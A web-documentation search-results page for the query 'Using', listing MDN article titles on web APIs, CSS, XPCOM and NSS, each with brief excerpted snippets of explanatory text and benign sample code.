Search completed in 1.58 seconds.
6155 results for "Using":
Your results are loading. Please wait...
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
we're going to touch on most of what you'll need to know when using color, including a list of what you can color and what css properties are involved, how you describe colors, and how to actually use colors both in stylesheets and in scripts.
...see box properties in the box model to learn about the relationship between elements and their borders, and the article styling borders using css to learn more about applying styles to borders.
... svg (scalable vector graphics) lets you draw images using commands that draw specific shapes, patterns, and lines to produce an image.
...And 24 more matches
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
this chapter explains how to use xpcom to implement advanced processes using only javascript.
...internet explorer handles this using activex; in firefox, we use the cross-platform component object model, or xpcom.
... you can perform a full-text search of the firefox source code in mozilla cross-reference using character strings, filenames, etc as search keys.
...And 16 more matches
Using IndexedDB - Web APIs
about this document this tutorial walks you through using the asynchronous api of indexeddb.
... creating and structuring the store using an experimental version of indexeddb in case you want to test your code in browsers that still use a prefix, you can use the following code: // in the following line, you should include the prefixes of implementations you want to test.
...an index lets you look up the values stored in an object store using the value of a property of the stored object, rather than the object's key.
...And 16 more matches
Using XMLHttpRequest - Web APIs
there are four primary ways of analyzing this xml document: using xpath to address (or point to) parts of it.
... using xmlserializer to serialize dom trees to strings or to files.
... note: xmlhttprequest can now interpret html for you using the responsexml property.
...And 16 more matches
Using files from web applications - Web APIs
using the file api, which was added to the dom in html5, it's now possible for web content to ask the user to select local files and then read the contents of those files.
... this selection can be done by either using an html <input type="file"> element or by drag and drop.
...see using the dom file api in chrome code for details.
...And 14 more matches
Realizing common layouts using CSS Grid Layout - CSS: Cascading Style Sheets
we will look at an example using grid-template-areas, a typical 12-column flexible grid system, and also a product listing using auto-placement.
... a responsive layout with 1 to 3 fluid columns using grid-template-areas many websites are a variation of this type of layout, with content, sidebars, a header and a footer.
... i am going to create this layout using the named template areas that we learned about in the guide grid template areas.
...And 14 more matches
Introduction to using XPath in JavaScript - XPath
this document describes the interface for using xpath in javascript internally, in extensions, and from websites.
... the main interface to using xpath is the evaluate function of the document object.
...the function can be either: created by using the creatensresolver method of a xpathevaluator object.
...And 13 more matches
Browser detection using the user agent - HTTP
the web is meant to be accessible to everyone, regardless of which browser or device they're using.
...using the user agent to detect the browser looks simple, but doing it well is, in fact, a very hard problem.
... considerations before using browser detection when considering using the user agent string to detect which browser is being used, your first step is to try to avoid it if possible.
...And 12 more matches
Displaying Places information using views
see querying places for information about obtaining and using nsinavhistoryresult objects, which this page assumes you are familiar with.
...for more complicated queries or queries whose uris you plan on changing, you will want to set the view's place property dynamically using javascript.
...reecol id or anonid corresponding nsinavhistoryresultnode property title title url uri date time visitcount accesscount keyword * description * dateadded dateadded lastmodified lastmodified tags tags ** icon *keyword and description are looked up in the places database using the nsinavhistoryresultnode property itemid.
...And 11 more matches
Using images - Web APIs
draw the image on the canvas using the drawimage() function.
... getting images to draw the canvas api is able to use any of the following data types as an image source: htmlimageelement these are images created using the image() constructor, as well as any <img> element.
... svgimageelement these are images embedded using the <image> element.
...And 11 more matches
Using Service Workers - Web APIs
using a service worker you can easily set an app up to use cached assets first, thus providing a default experience even when offline, before then getting more data from the network (commonly known as offline first).
...we could try to work around this using .complete, but it’s still not foolproof, and what about multiple images?
... request.responsetype = 'blob'; request.onload = () => { if (request.status == 200) { resolve(request.response); } else { reject(error('image didn\'t load successfully; error code:' + request.statustext)); } }; request.onerror = () => { reject(error('there was a network error.')); }; request.send(); }); } we return a new promise using the promise() constructor, which takes as an argument a callback function with resolve and reject parameters.
...And 9 more matches
Using Web Workers - Web APIs
in addition, they can perform i/o using xmlhttprequest (although the responsexml and channel attributes are always null).
...this article provides a detailed introduction to using web workers.
... web workers api a worker is an object created using a constructor (e.g.
...And 9 more matches
Using CSS animations - CSS: Cascading Style Sheets
this does not configure the actual appearance of the animation, which is done using the @keyframes at-rule as described in defining the animation sequence using keyframes below.
... defining the animation sequence using keyframes once you’ve configured the animation’s timing, you need to define the appearance of the animation.
... this is done by establishing two or more keyframes using the @keyframes at-rule.
...And 9 more matches
Using microtasks in JavaScript with queueMicrotask() - Web APIs
a timeout or interval created with settimeout() or setinterval() is reached, causing the corresponding callback to be added to the task queue.
... using microtasks before getting farther into this, it's important to note again that most developers won't use microtasks much, if at all.
...abusing this capability will lead to performance problems.
...And 8 more matches
Using WebRTC data channels - Web APIs
once you've established a webrtc peer connection using the rtcpeerconnection interface, you're able to send and receive media data between the two peers on the connection.
... since all webrtc components are required to use encryption, any data transmitted on an rtcdatachannel is automatically secured using datagram transport layer security (dtls).
... creating a data channel the underlying data transport used by the rtcdatachannel can be created in one of two ways: let webrtc create the transport and announce it to the remote peer for you (by causing it to receive a datachannel event).
...And 8 more matches
Using templates and slots - Web Components
this element and its contents are not rendered in the dom, but it can still be referenced using javascript.
... let's look at a trivial quick example: <template id="my-paragraph"> <p>my paragraph</p> </template> this won't appear in your page until you grab a reference to it with javascript and then append it to the dom, using something like the following: let template = document.getelementbyid('my-paragraph'); let templatecontent = template.content; document.body.appendchild(templatecontent); although trivial, you can already start to see how this could be useful.
... using templates with web components templates are useful on their own, but they work even better with web components.
...And 8 more matches
Using the W3C DOM - Archive of obsolete content
using w3c standards means that code will run in compliant browsers with minimal need for cross-browser support, whereas code based on proprietary standards requires much more effort to be compatible with multiple user agents.
...t supported in the w3c document object model: document.layers[] id_attribute_value document.all document.all.id_attribute_value document.all[id_attribute_value] the following form related properties (originally from internet explorer) are not supported in the w3c document object model: formname.inputname.value inputname.value formctrlname document.forms(0) (note: document.forms[0] (using square brackets) uses the dom standard forms collection) scripts that use these properties will throw errors in most standards-compliant browsers.
...e, the following short sample dynamically sets the left margin of a <div> element with an id of "inset" to half an inch: // in the html: <div id="inset">sample text</div> document.getelementbyid("inset").style.marginleft = ".5in"; note: internet explorer 5 through 7 have a flawed implementation of getelementbyid(), which returns the first element with a matching name or id (id versus name when using getelementbyid, msdn: getelementbyid method).
...And 7 more matches
Layout using named grid lines - CSS: Cascading Style Sheets
in previous guides we’ve looked at placing items by the lines created by defining grid tracks and also how to place items using named template areas.
...this time i’ll create the grid using named lines.
...when choosing the name you need to avoid words that might appear in the specification and be confusing - such as span.
...And 7 more matches
Using the WebAssembly JavaScript API - WebAssembly
if you have already compiled a module from another language using tools like emscripten, or loaded and run the code yourself, the next step is to learn more about using the other features of the webassembly javascript api.
...this is achieved using the webassembly.compilestreaming() and webassembly.instantiatestreaming() methods.
... note: this is a convoluted, longwinded example that achieves very little, but it does serve to illustrate what is possible — using webassembly code alongside javascript in your web applications.
...And 7 more matches
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
using eval in add-ons is almost always unnecessary, and many times even a security vulnerability.
... moreover, code using eval is harder to parse for a human mind, is often pretty complex, and relies on assumptions that are not necessarily true in the future or even now.
...there is simply no need to parse json using eval.
...And 6 more matches
Properly Using CSS and JavaScript in XHTML Documents - Archive of obsolete content
(see talk:properly_using_css_and_javascript_in_xhtml_documents of this ascertation.
... - xmlguru) inline style and script containing double dashes another problem with using comments to surround javascript in xhtml is related to the problems which can occur if comments contain double dashes (——).
... <script type="text/javascript"> <!-- var i; var sum = 0; for (i = 10; i > 0; --i) { sum += i; } // --> </script> using cdata instead of comments properly enclosing script contents inside of cdata sections can cause problems in downlevel browsers which do not understand xml.
...And 6 more matches
Using the Right Markup to Invoke Plugins - Archive of obsolete content
it discusses the object element and the embed element, with details about using the most apt html to invoke java in a web page as well.
...however, there are a few caveats that developers ought to bear in mind when using the object element with mozilla-based browsers such as netscape 7 and in ie: caveats if you use one single object element for both browsers (as in the above example), it is not possible to provide a cross-browserobtainment mechanism for streamlined download.
..."high" /> <param name="swliveconnect" value="true" /> <p>you need flash -- get the latest version from <a href="http://www.macromedia.com/downloads/"> here.</a></p> </object> </object> web authors have to specify anobtainment mechanism in mozilla-based browsers -- the browser won't automatically retrieve plugins that are missing if you don't specify where to get the plugin from using the codebase attribute.
...And 6 more matches
Accessing the Windows Registry Using XPCOM
the examples in this document are all written in javascript using xpcom.
...roductid: var wrk = components.classes["@mozilla.org/windows-registry-key;1"] .createinstance(components.interfaces.nsiwindowsregkey); wrk.open(wrk.root_key_local_machine, "software\\microsoft\\windows\\currentversion", wrk.access_read); var id = wrk.readstringvalue("productid"); wrk.close(); this example, while simple, shows several important things about using the interface.
... notice in the open() call that the root key to use is specified using the named constants available on the nsiwindowsregkey interface, in this case root_key_local_machine, which corresponds to hkey_local_machine in the windows registry.
...And 6 more matches
Using readable streams - Web APIs
note: if you are looking for information on writable streams try using writable streams instead.
...this is done using the readablestream.getreader() method: // fetch the original image fetch('./tortoise.png') // retrieve its body as readablestream .then(response => response.body) .then(body => { const reader = body.getreader(); invoking this method creates a reader and locks it to the stream — no other reader may read this stream until this reader is released, e.g.
... also note that the previous example can be reduced by one step, as response.body is synchronous and so doesn't need the promise: // fetch the original image fetch('./tortoise.png') // retrieve its body as readablestream .then(response => { const reader = response.body.getreader(); reading the stream now you’ve got your reader attached, you can read data chunks out of the stream using the readablestreamdefaultreader.read() method.
...And 6 more matches
Using CSS gradients - CSS: Cascading Style Sheets
we'll start by introducing linear gradients, then introduce features that are supported in all gradient types using linear gradients as the example, then move on to radial, conic and repeating gradients using linear gradients a linear gradient creates a band of colors that progress in a straight line.
... <div class="diagonal-gradient"></div> div { width: 200px; height: 100px; } .diagonal-gradient { background: linear-gradient(to bottom right, blue, pink); } using angles if you want more control over its direction, you can give the gradient a specific angle.
... <div class="angled-gradient"></div> div { width: 120px; height: 120px; } .angled-gradient { background: linear-gradient(70deg, blue, pink); } when using an angle, 0deg creates a vertical gradient running bottom to top, 90deg creates a horizontal gradient running left to right, and so on in a clockwise direction.
...And 6 more matches
Using media queries - CSS: Cascading Style Sheets
to test and monitor media states using the window.matchmedia() and mediaquerylist.addlistener() javascript methods.
...multiple queries can be combined in various ways by using logical operators.
...except when using the not or only logical operators, the media type is optional and the all type will be implied.
...And 6 more matches
Using the application cache - HTML: Hypertext Markup Language
using this application cache feature is highly discouraged; it’s in the process of being removed from the web platform.
...the offline cache can be cleared for each site separately using the "remove..." button in tools -> options -> advanced -> network -> offline data.
...resources can be specified using either absolute or relative urls (e.g., index.html).
...And 6 more matches
Using the Browser API
MozillaGeckoChromeAPIBrowser APIUsing
we'll be using this term throughout the current article, and other parts of the documentation.
...t (see the full javascript listing.) wiring up the back and forward buttons early on in the code we implement two simple event listeners to move the browser back and forward in history when the relevant buttons are pressed: back.addeventlistener('touchend',function() { browser.goback(); }); fwd.addeventlistener('touchend',function() { browser.goforward(); }); the functions can be handled using the browser api htmliframeelement.goback() and htmliframeelement.goforward() methods.
...when you tap the url bar, you can enter a url using the built-in firefox os keyboard (although note that we haven't implemented anything sophisticated in this app, like autofilling the http://, etc.).
...And 5 more matches
Using the Screen Capture API - Web APIs
starting screen capture: async/await style async function startcapture(displaymediaoptions) { let capturestream = null; try { capturestream = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); } catch(err) { console.error("error: " + err); } return capturestream; } you can write this code either using an asynchronous function and the await operator, as shown above, or using the promise directly, as seen below.
... note: for privacy and security reasons, screen sharing sources are not enumerable using enumeratedevices().
... using the captured stream the promise returned by getdisplaymedia() resolves to a mediastream that contains at least one video stream that contains the screen or screen area, and which is adjusted or filtered based upon the constraints specifed when getdisplaymedia() was called.
...And 5 more matches
Background audio processing using AudioWorklet - Web APIs
the process of creating an audio processor using javascript, establishing it as an audio worklet processor, and then using that processor within a web audio application is the topic of this article.
... it's worth noting that because audio processing can often involve substantial computation, your processor may benefit greatly from being built using webassembly, which brings near-native or fully native performance to web apps.
... implementing your audio processing algorithm using webassembly can make it perform markedly better.
...And 5 more matches
Using the Web Speech API - Web APIs
note: on some browsers, like chrome, using speech recognition on a web page involves a server-based recognition engine.
...this is done using the speechrecognition() constructor.
... we also create a new speech grammar list to contain our grammar, using the speechgrammarlist() constructor.
...And 5 more matches
Using CSS transitions - CSS: Cascading Style Sheets
using animations with auto may lead to unpredictable results, depending on the browser and its version, and should be avoided.
... defining transitions css transitions are controlled using the shorthand transition property.
...y: opacity, left, top, height; transition-duration: 3s, 5s, 3s, 5s; } similarly, if any property's value list is longer than that for transition-property, it's truncated, so if you have the following css: div { transition-property: opacity, left; transition-duration: 3s, 5s, 2s, 1s; } this gets interpreted as: div { transition-property: opacity, left; transition-duration: 3s, 5s; } using transitions when highlighting menus a common use of css is to highlight items in a menu as the user hovers the mouse cursor over them.
...And 5 more matches
Using IO Timeout And Interrupt On NT - Archive of obsolete content
this technical memo is a cautionary note on using netscape portable runtime's (nspr) io timeout and interrupt on windows nt 3.51 and 4.0.
...on windows nt, nspr io is implemented using nt's overlapped (also called asynchronous) io.
... when a thread calls an io function, the thread issues an overlapped io request using the overlapped buffer in its <tt>prthread</tt> structure.
...And 4 more matches
Using XPCOM Utilities to Make Things Easier
using these declaration macros not only saves a tremendous amount of time when you're writing the code, it can also save time if you make changes to your idl file, since the c++ header file will then automatically include the updated list of methods to be supported.
...interface must be generated by xpidl using the macros described here, the code for the weblock component has gone from around 340 lines of code to just under 40.
... weblock2.cpp the listing below shows the generic module code from weblock1.cpp using the macros described in this chapter: weblock2.cpp #include "nsigenericfactory.h" #include "nsisupportsutils.h" #define sample_cid \ { 0x777f7150, 0x4a2b, 0x4301, \ { 0xad, 0x10, 0x5e, 0xab, 0x25, 0xb3, 0x22, 0xaa}} class sample: public nsisupports { public: sample(); virtual ~sample(); ns_decl_isupports }; sample::sample() { // note: in newer versions of gecko (1.3 or later) // you don't have to do this: ns_init_isupports(); } sample::~sample() { } ns_impl_isupports1(sample, nsisupports); ns_generic_factory_constructor(s...
...And 4 more matches
Examples of web and XML development using the DOM - Web APIs
this chapter provides some longer examples of web and xml development using the dom.
... width="100" height="100" alt="border test"> </p> <form name="formname"> <input type="button" value="make border 20px-wide" onclick="setborderwidth(20);" /> <input type="button" value="make border 5px-wide" onclick="setborderwidth(5);" /> </form> </body> </html> example 3: manipulating styles in this simple example, some basic style properties of an html paragraph element are accessed using the style object on the element and that object's css style properties, which can be retrieved and set from the dom.
...le>changing color and font-size example</title> <script> function changetext() { var p = document.getelementbyid("pid"); p.style.color = "blue" p.style.fontsize = "18pt" } </script> </head> <body> <p id="pid" onclick="window.location.href = 'http://www.cnn.com/';">linker</p> <form> <p><input value="rec" type="button" onclick="changetext();" /></p> </form> </body> </html> example 4: using stylesheets the stylesheets property on the document object returns a list of the stylesheets that have been loaded on that document.
...And 4 more matches
Using FormData Objects - Web APIs
the formdata object lets you compile a set of key/value pairs to send using xmlhttprequest.
... sending files using a formdata object you can also send files using formdata.
...put type="email" autocomplete="on" autofocus name="userid" placeholder="email" required size="32" maxlength="64" /><br /> <label>custom file label:</label> <input type="text" name="filelabel" size="12" maxlength="32" /><br /> <label>file to stash:</label> <input type="file" name="file" required /> <input type="submit" value="stash the file!" /> </form> <div></div> then you can send it using code like the following: var form = document.forms.nameditem("fileinfo"); form.addeventlistener('submit', function(ev) { var ooutput = document.queryselector("div"), odata = new formdata(form); odata.append("customfield", "this is some extra data"); var oreq = new xmlhttprequest(); oreq.open("post", "stash.php", true); oreq.onload = function(oevent) { if (oreq.status == 20...
...And 4 more matches
Using the link role - Accessibility
fire an accessible link event using the operating system's accessibility api if it supports it.
... examples this example shows how to implement a fake link using a <span> element.
... this includes javascript to grab the location and handle navigating to the new location using window.open() via clicking, and using keyboard, css to give the desired visuals of a link, the tabindex="0" attribute to make it keyboard-focussable, and role="link" to make it recognised as a link by assistive technology.
...And 4 more matches
Using shadow DOM - Web Components
this article covers the basics of using the shadow dom.
... you can affect the nodes in the shadow dom in exactly the same way as non-shadow nodes — for example appending children or setting attributes, styling individual nodes using element.style.foo, or adding style to the entire shadow dom tree inside a <style> element.
... basic usage you can attach a shadow root to any element using the element.attachshadow() method.
...And 4 more matches
Using XPInstall to Install Plugins - Archive of obsolete content
this article presents a guideline for improving the plugin installation experience for netscape gecko browsers using xpinstall.
...the benefit of using xpinstall is to provide a streamlined installation mechanism.
...an example might be that the current browser is netscape 7, but later, the user downloads a beta of the aol software using netscape gecko.
...And 3 more matches
Using JavaScript code modules
modules can also be used to create global javascript singletons that previously required using javascript xpcom objects.
...the module is loaded into a specific javascript scope, such as xul script or javascript xpcom script, using components.utils.import() or components.utils["import"]().
...(the url in the example is "resource://app/my_module.jsm".) code modules can only be loaded using a chrome: (), resource:, or file: url.
...And 3 more matches
Investigating leaks using DMD heap scan mode
it is particularly useful if you have no idea what is causing the leak.
...conveniently, you can usually do both at once using the cycle collector log.
... identifying the root in the cycle collector log the next step is to figure out why the cycle collector could not collect the window, using the find_roots.py script from the heapgraph repository.
...And 3 more matches
Enc Dec MAC Using Key Wrap CertReq PKCS10 CSR
nickname> [-x <\"\">] -m <serialnumber> ]"); fprintf(stderr, "%s %s\n --to put cert in header\n\n", progname, "-h -n <nickname> -b <headerfilename> [-v <\"\">]"); fprintf(stderr, "%s %s\n --to find public key from cert in header and encrypt\n\n", progname, "-e -b <headerfilename> -i <ipfilename> -e <encryptfilename> "); fprintf(stderr, "%s %s\n --decrypt using corresponding private key \n\n", progname, "-d -b <headerfilename> -e <encryptfilename> -o <opfilename>"); fprintf(stderr, "%s %s\n --sign using private key \n\n", progname, "-s -b <headerfilename> -i <infilename> "); fprintf(stderr, "%s %s\n --verify using public key \n\n", progname, "-v -b <headerfilename> -i <ipfilename> "); fprintf(stde...
... file name is not found\n", progname, dbdir, headerfilename, encryptedfilename); validationfailed = pr_true; } if (validationfailed) { fprintf(stderr, "\nusage: %s %s \n\n", progname, "-d -d <dbdirpath> -b <headerfilename> -e <encryptfilename> -o <opfilename>\n"); exit(-1); } } /* * sign the contents of input file using private key and * return result as secitem */ secstatus signdata(const char *infilename, seckeyprivatekey *pk, secitem *res) { secstatus rv = secfailure; unsigned int nb; unsigned char ibuf[4096]; prfiledesc *infile = null; sgncontext *sgn = null; /* open the input file for reading */ infile = pr_open(infilename, pr_rdonly, 0)...
...; if (!infile) { pr_fprintf(pr_stderr, "unable to open \"%s\" for reading.\n", infilename); rv = secfailure; goto cleanup; } /* sign using private key */ sgn = sgn_newcontext(sec_oid_pkcs1_md5_with_rsa_encryption, pk); if (!sgn) { pr_fprintf(pr_stderr, "unable to create context for signing\n"); rv = secfailure; goto cleanup; } rv = sgn_begin(sgn); if (rv != secsuccess) { pr_fprintf(pr_stderr, "problem while sgn_begin\n"); goto cleanup; } while ((nb = pr_read(infile, ibuf, sizeof(ibuf))) > 0) { rv = sgn_update(sgn, ibuf, nb); if (rv != secsuccess) { pr_fprintf(pr_stderr, "problem while sgn_update\n"); goto cleanu...
...And 3 more matches
Manipulating bookmarks using Places
this article offers examples for how to perform common bookmark management tasks using the bookmarks service.
... initiating the bookmarks service as is the case with nearly all interfaces, before you can use the bookmarks service, you need to get access to it: var bmsvc = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); creating a bookmark folder creating a new bookmark folder is done using the nsinavbookmarksservice.createfolder() method.
...the uri for the bookmark needs to be specified using an nsiuri object.
...And 3 more matches
Using XPCOM Components
« previousnext » one of the best ways to begin working with xpcom - especially when you are designing the interface to a component that will be used by others, as we do in starting weblock - is to look at how clients are already using xpcom components.
...whenever a user accesses the cookie manager dialog to view, organize, or remove cookies that have been stored on the system, they are using the cookiemanager component behind the scenes.
...we'll be using this component from javascript ourselves as part of this tutorial[cookie-manager-in-tutorial].
...And 3 more matches
Using the CSS Painting API - Web APIs
to programmatically create an image used by a css stylesheet we need to work through a few steps: define a paint worklet using the registerpaint() function register the worklet include the paint() css function to elaborate over these steps, we're going to start by creating a half-highlight background, like on this header: css paint worklet in an external script file, we employ the registerpaint() function to name our css paint worklet.
... using the paint worklet to use the paint worklet, we need to register it using addmodule() and include it in our css, ensuring the css selector matches a dom node in our html registering the worklet the setup and design of our paint worklet took place in the external script shown above.
... css.paintworklet.addmodule('nameofpaintworkletfile.js'); this can be done using the paint worklet's addmodule() method in a <script> within the main html or in an external javascript file linked to from the document.
...And 3 more matches
Using Fetch - Web APIs
this kind of functionality was previously achieved using xmlhttprequest.
... fetch() won't can receive cross-site cookies; you can’t can establish a cross site session using fetch.
... const data = { username: 'example' }; fetch('https://example.com/profile', { method: 'post', // or 'put' headers: { 'content-type': 'application/json', }, body: json.stringify(data), }) .then(response => response.json()) .then(data => { console.log('success:', data); }) .catch((error) => { console.error('error:', error); }); uploading a file files can be uploaded using an html <input type="file" /> input element, formdata() and fetch().
...And 3 more matches
Using the MediaStream Recording API - Web APIs
it even gives you a visualization of your device's sound input, using the web audio api.
...this is your entry point into using the mediarecorder api — the stream is now ready to be captured into a blob, in the default encoding format of your browser.
...we register an event handler to do this using mediarecorder.ondataavailable: let chunks = []; mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } note: the browser will fire dataavailable events as needed, but if you want to intervene you can also include a timeslice when invoking the start() method — for example start(10000) — to control this interval, or call mediarecorder.requestdata() to trigger an event when y...
...And 3 more matches
Using the Notifications API - Web APIs
this article looks at the basics of using this api in your own apps.
...it stores data locally using indexeddb and notifies users when tasks are due using system notifications.
...we did this using the following: function checknotificationpromise() { try { notification.requestpermission().then(); } catch(e) { return false; } return true; } we basically try to see if the .then() method is available on requestpermission().
...And 3 more matches
Using the User Timing API - Web APIs
function display_marks(ev) { if (performance.getentries === undefined) { log("display marks: performance.getentries not supported", 0); return; } log("display marks", 0); // display each mark using getentries() var entries = performance.getentries(); var j=0; for (var i=0; i < entries.length; i++) { if (entries[i].entrytype == "mark") { if (j == 0) { log("= getentries()", 0); j++ } log("...
... [" + i + "] = " + entries[i].name, 0); } } // display each mark using getentriesbytype() entries = performance.getentriesbytype("mark"); for (var i=0; i < entries.length; i++) { if (i == 0) log("= getentriesbytype('mark')", 0); log("...
... [" + i + "] = " + entries[i].name, 0); } // display each mark using getentriesname(); must look for each mark separately entries = performance.getentriesbyname("mark-1","mark"); for (var i=0; i < entries.length; i++) { if (i == 0) log("= getentriesbyname('mark-1', 'mark')", 0); log("...
...And 3 more matches
Using bounded reference spaces - Web APIs
there are many uses for bounded reference spaces, including projects such as virtual paint studios or 3d construction, modeling, or sculpting systems; training simulations or lesson scenarios; dance or other performance-based games; or the preview of 3d objects in the real world using augmented reality.
...it's difficult (and would probably be fairly confusing) to create a virtual world that's larger than the physical space available to the user if you're mapping their real-world movement into the virtual environment.
...the boundary is then defined using an array of 2d coordinates, specifying only the x and z components since y is always 0.
...And 3 more matches
Using the alert role - Accessibility
fire an accessible alert event using the operating system's accessibility api if it supports it.
... let myalert = document.createelement("p"); myalert.setattribute("role", "alert"); let myalerttext = document.createtextnode("you must agree with our terms of service to create an account."); myalert.appendchild(myalerttext); document.body.appendchild(myalert); note: the same result can be achieved with less code when using a script library like jquery: $("<p role='alert'>you must agree with our terms of service to create an account.</p>").appendto(document.body); example 3: adding alert role to an existing element sometimes it's useful to add an alert role to an element that is already visible on the page rather than creating a new element.
...the pseudo code snippet below illustrates this approach: <p id="forminstruction">you must select at least 3 options</p> // when the user tries to submit the form with less than 3 checkboxes selected: document.getelementbyid("forminstruction").setattribute("role", "alert"); example 4: making an element with an alert role visible if an element already has role="alert" and is initially hidden using css, making it visible will cause the alert to fire as if it was just added to the page.
...And 3 more matches
Using feature queries - CSS: Cascading Style Sheets
feature queries are created using the css at-rule @supports, and are useful as they give web developers a way to test to see if a browser has support for a certain feature, and then provide css that will only run based on the result of that test.
... in this guide you will learn how to implement progressive enhancement using feature queries.
...in practice however, when using feature queries for progressive enhancement, this doesn't matter.
...And 3 more matches
Using Promises - JavaScript
ction successcallback(result) { console.log("audio file ready at url: " + result); } function failurecallback(error) { console.error("error generating audio file: " + error); } createaudiofileasync(audiosettings, successcallback, failurecallback); modern functions return a promise that you can attach your callbacks to instead: if createaudiofileasync() were rewritten to return a promise, using it could be as simple as this: createaudiofileasync(audiosettings).then(successcallback, failurecallback); that's shorthand for: const promise = createaudiofileasync(audiosettings); promise.then(successcallback, failurecallback); we call this an asynchronous function call.
... one of the great things about using promises is chaining.
... creating a promise around an old callback api a promise can be created from scratch using its constructor.
...And 3 more matches
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
but instead of relying only on user actions, we can do more, using push messages and notifications to automatically re-engage and deliver new content whenever it is available.
... immediately though, best practice dictates that we should show the popup when the user requests it by clicking on a button: var button = document.getelementbyid("notifications"); button.addeventlistener('click', function(e) { notification.requestpermission().then(function(result) { if(result === 'granted') { randomnotification(); } }); }); this shows a popup using the operating system’s own notifications service: when the user confirms to receive notifications, the app can then show them.
...the app's service worker will receive data from the push server, which can then be shown using the notifications system, or another mechanism if desired.
...And 3 more matches
Using custom elements - Web Components
a custom element's class object is written using standard es 2015 class syntax.
... you'll learn more about these in the using the lifecycle callbacks section below.
...d put it inside the info span info.textcontent = this.getattribute('data-text'); // create some css to apply to the shadow dom const style = document.createelement('style'); style.textcontent = '.wrapper {' + // css truncated for brevity // attach the created elements to the shadow dom this.shadowroot.append(style,wrapper); finally, we register our custom element on the customelementregistry using the define() method we mentioned earlier — in the parameters we specify the element name, and then the class name that defines its functionality: customelements.define('popup-info', popupinfo); it is now available to use on our page.
...And 3 more matches
Using the Stylesheet Service - Archive of obsolete content
the examples in this document are all written in javascript using xpcom.
... using the api the string "chrome://myext/content/myext.css" in the examples below is just an example.
... be very careful with your css when using agent_sheet stylesheets.
...And 2 more matches
Using Remote XUL - Archive of obsolete content
this also means you can't load xul using file:// urls unless you set the preference dom.allow_xul_xbl_for_file to true.
...the remote xul manager extension lets you manage this whitelist, which is maintained using nsipermissionmanager, by creating entries of type "allowxulxbl", like this: components.classes["@mozilla.org/permissionmanager;1"] .getservice(components.interfaces.nsipermissionmanager) .add(uri, 'allowxulxbl', components.interfaces.nsipermissionmanager.allow_action); xul (pronounced like "zool"), which is short for xml-based user interface language, is an xml-based language for describing application interfaces.
... note: the downside to using xul is that it only works with browsers that understand it.
...And 2 more matches
Using SSH to connect to CVS - Archive of obsolete content
introduction this document is a guide to setting up access to cvs.mozilla.org using ssh.
...this can be done using a unix-style find and perl: find .
... avoiding passphrase requests you can avoid repeated passphrase requests by using ssh-agent.
...And 2 more matches
Implementing controls using the Gamepad API - Game development
this article looks at implementing an effective, cross-browser control system for web games using the gamepad api, allowing you to control your web games using console game controllers.
...now in the era of html5, we finally have the gamepad api, which gives us the ability to play browser-based games using gamepad controllers without any plugins.
...when you connect the controller, the game significantly changes (hungry fridge turns into the super turbo hungry fridge) and you're able to control the armored fridge using the gamepad api.
...And 2 more matches
Encrypt and decrypt MAC using token
nss sample code 3: encryption/decryption and mac using token object.
...ll) { pr_fprintf(pr_stderr, "can't create mac context\n"); rv = secfailure; goto cleanup; } rv = macinit(ctxmac); if (rv != secsuccess) { goto cleanup; } ctxenc = encryptinit(ek, iv, ivlen, ckm_aes_cbc); /* read a buffer of plaintext from input file */ while ((ptextlen = pr_read(infile, ptext, sizeof(ptext))) > 0) { /* encrypt using it using cbc, using previously created iv */ if (ptextlen != blocksize) { paddinglength = blocksize - ptextlen; for ( j=0; j < paddinglength; j++) { ptext[ptextlen+j] = (unsigned char)paddinglength; } ptextlen = blocksize; } rv = encrypt(ctxenc, encbuf, &encbuflen, sizeof(encbuf), ...
...open \"%s\" for writing.\n", outfilename); return secfailure; } rv = macinit(ctxmac); if (rv != secsuccess) goto cleanup; ctxenc = decryptinit(ek, iv, ivlen, ckm_aes_cbc); filelength = filesize(encryptedfilename); while ((ctextlen = pr_read(infile, ctext, sizeof(ctext))) > 0) { count += ctextlen; /* decrypt cipher text buffer using cbc and iv */ rv = decrypt(ctxenc, decbuf, &decbuflen, sizeof(decbuf), ctext, ctextlen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "decrypt failure\n"); goto cleanup; } if (decbuflen == 0) break; rv = macupdate(ctxmac, decbuf, decbuflen); if (rv != secsuccess) { goto cleanup; } if (count =...
...And 2 more matches
Encrypt Decrypt_MAC_Using Token
nss sample code 3: encryption/decryption and mac using token object.
...*/ while ((ptextlen = pr_read(infile, ptext, sizeof(ptext))) > 0) { /* encrypt using it using cbc, using previously created iv.
...open \"%s\" for writing.\n", outfilename); return secfailure; } rv = macinit(ctxmac); if (rv != secsuccess) goto cleanup; ctxenc = decryptinit(ek, iv, ivlen, ckm_aes_cbc); filelength = filesize(encryptedfilename); while ((ctextlen = pr_read(infile, ctext, sizeof(ctext))) > 0) { count += ctextlen; /* decrypt cipher text buffer using cbc and iv.
...And 2 more matches
EncDecMAC using token object - sample 3
encdecmac using token object example: <h2 id="nss_sample_code_3_hashing.">nss sample code 3: enc/dec/mac using token object id.</h2> <p class="summary">computes the hash of a file and saves it to another file, illustrates the use of nss message apis.</p> <pre class="brush: cpp"> /* this source code form is subject to the terms of the mozilla public * license, v.
...ontextbysymkey(ckm_md5_hmac, cka_sign, mk, &noparams); if (ctxmac == null) { pr_fprintf(pr_stderr, "can't create mac context\n"); rv = secfailure; goto cleanup; } rv = macinit(ctxmac); if (rv != secsuccess) { goto cleanup; } ctxenc = encryptinit(ek, iv, ivlen, ckm_aes_cbc); /* read a buffer of plaintext from input file */ while ((ptextlen = pr_read(infile, ptext, sizeof(ptext))) > 0) { /* encrypt using it using cbc, using previously created iv */ if (ptextlen != blocksize) { paddinglength = blocksize - ptextlen; for ( j=0; j < paddinglength; j++) { ptext[ptextlen+j] = (unsigned char)paddinglength; } ptextlen = blocksize; } rv = encrypt(ctxenc, encbuf, &encbuflen, sizeof(encbuf), ptext, ptextlen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "encrypt failure\n"); goto cleanup; } /* save the las...
